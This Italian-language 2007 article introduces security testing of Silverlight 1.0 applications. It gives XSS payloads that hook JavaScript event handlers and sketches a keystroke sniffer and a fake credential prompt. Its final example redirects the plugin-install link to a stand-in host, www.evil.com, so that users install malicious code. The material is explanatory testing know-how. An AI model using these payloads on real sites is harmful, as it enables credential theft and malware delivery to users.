Introduzione al Testing di applicazioni Silverlight 1.0
Copyright (C) 2007 Antonio "s4tan" Parata <s4tan@ictsc.it>
Last Update 10/11/2007
In questo articolo verra' introdotta una metodologia di base per il testing di applicazioni Silverlight. Tutte le informazioni necessarie per il testing dovrebbero gia' essere conosciute al tester, si tratta solamente di comprendere come funzionano le applicazioni Silverlight e applicare gli attacchi conosciuti. Nell'introduzione verra' brevemente spiegato che cosa e' un'applicazione Silverlight e come funziona. Per chi gia' sapesse queste cose puo' tranquillamente saltare il paragrafo.
1. Introduzione
Silverlight rappresenta la risposta di Microsoft alla tecnologia Flash. Con la sola variante che a differenza di quest'ultima, Silverlight utilizza solo ed esclusivamente Javascript (cio' vale solo per la versione 1.0) come linguaggio di interazione. Esattamente come flash e' necessario scaricare un plugin per poter visualizzare l'applicazione. Nel caso non si disponga del plugin verra' visualizzata la seguente immagine:
la quale vi ridireziona sul link per il download del plugin. Fin qui nulla di nuovo.
Per la creazione dei vari componenti grafici Silverlight utilizza il nuovo fomato XAML di Microsoft per la definizione delle interfacce grafiche. Un file XAML non e' altro che un semplice file xml nel quale vengono definiti i componenti grafici. Ai vari componenti grafici e' possibile associare degli eventi utente. E' inoltre possibile, in alcuni casi, modificare tramite DOM i componenti dell'interfaccia grafica senza per questo dover modificare il file XAML.
Per cominciare a sviluppare applicazioni Silverlight Microsoft mette a disposizione una libreria Javascript chiamata silverlight.js. Lo sviluppatore non deve far altro che includere tale libreria, e richiamare il metodo di creazione dell'applicazione. Cio' che viene fatto da tale funzione non e' altro che scrivere (generalmente all'interno di un tag DIV) il seguente codice HTML per l'istanziazione del plugin:
<object type="application/x-silverlight" data="data:," id="mySilverLightPluginProva" width="600" height="300" > <param name="background" value="#D6D6D6" /> <param name="source" value="myxaml.xaml" /> <param name="windowless" value="false" /> <param name="maxFramerate" value="24" /> <param name="onLoad" value="__slLoad0" /> <param name="onError" value="__slError0" /> </object>
2. Testing
Come gia' detto nell'introduzione la fase di testing non e' nulla di sconosciuto. La metodologia e' identica a quella usata per il testing di applicazioni ajax, per ulteriori riferimenti si veda [1]. Supponiamo di avere il seguente file XAML (tale file viene scaricato dall'applicazione all'atto dell'istanziazione del plugin):
<Canvas Name="rootCanvas" Width="600" Height="300" xmlns="http://schemas.microsoft.com/client/2007" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"/> <TextBlock Name="text" Text="sayhello()" MouseLeftButtonDown="click" FontSize="20" Canvas.Top="50"//> </Canvas/>
dove la funzione sayhello(), definita all'interno di un ulteriore file javascript incluso nella pagina HTML, e' cosi definita:
function sayhello(sender,args) { alert("Hello world"); return 1; }
Quando si preme sulla scritta, verra' visualizzata la finestrella. Se l'applicazione contiene una vulnerabilita' da XSS, allora e' possibile ridefinire la funzione, ad esempio scrivendo:
function sayhello(sender,args) { alert("Farewell cruel world"); return 0; }
Nel caso di applicazioni che fanno pesante uso di javascript, e' conveniente effettuare un Hook della funzione un po piu' fine, ovvero conviene dapprima salvare l'handler originale, e quando viene effettuata la chiamata, chiamare il metodo originale (salvato in una apposita variabile) e in seguito modificare i parametri ritornati. Per far cio' si puo' creare una nuova funzione che si incarica di effettuare l'hooking. Tale funzione verra' subito invocata. Un esempio potrebbe essere:
function hookSayHello(sender,args) { var oldSayHello = sayhello; sayhello = function (sender,args) { var result = oldSayHello(); result = result + 5; return result; } } // effettuo la chiamata hookSayHello();
In questo modo non bisogna ricostruire la logica delle varie funzioni. E' inoltre possibile modificare la struttura della Gui (per ottenere un riferimento all'elemento root XAML utilizzate value = silverlightObject.content.Root), ed effettuare chiamate remote (rispettando la same origin policy). Con la modifica della Gui si puo' ad esempio presentare all'utente una finestrella in cui gli si chiede di immetere le proprie credenziali o altro.
Data la mancanza di oggetti predefiniti per l'inserimento di input da parte dell'utente, ogni programmatore e' costretto a creare una propria InputTextBox e ad associargli i relativi eventi (KeyDown e KeyUp) per ottenere l'input inserito. Cio' gioca a favore dell'attaccante il quale puo' facilmente effettuare l'hooking delle funzioni che gestiscono gli eventi creando un semplice sniffer.
Come esempio finale, vediamo come far apparire all'utente l'immagine di installazione del plugin (anche se il plugin e' installato) e cliccandoci sopra ridirezionarlo verso un'altro sito.
function hijackDownloadSilverlight() { Silverlight.isInstalled = function(version) { return false;} Silverlight.fwlinkRoot = "http://www.evil.com/aaaaa?img="; createSilverlight(); } hijackDownloadSilverlight();
L'immagine dovra' essere ottenuta attraverso la seguente url: http://www.evil.com/aaaaa?img=94377&clcid=0x409, mentre al click dell'utente verra' effettuata una richiesta verso: http://www.evil.com/aaaaa?img=92800. A questo punto riproducendo la pagina originale e' possibile far installare all'utente del codice malevolo.
Indice3. Conclusioni
Questo articolo ha lo scopo di introdurre in primis la struttura di un'applicazione Silverlight versione 1.0. Nella parte di testing vengono rispolverati alcuni concetti gia' noti da applicare per sfruttare le eventuali vulnerabilita' (si ricorda che il tutto si riconduce alla presenmza di una vulnerabilita' da XSS).
Nella versione 1.0 sono assenti alcuni controlli fondamentali come gli InputTextBox. Questi controlli sembra debbano essere inseriti nella nuova versione 1.1 attualmente in fase alpha. La versione 1.1 di Silverlight sara' basata interamente sul framework .NET abbandonando l'utilizzo di javascript come metodo di interazione.
4. Riferimenti
[1] Stefano di Paola, Giorgio Fedon. Subverting Ajax.
[2] Microsoft Developer Network. Getting Started with Silverlight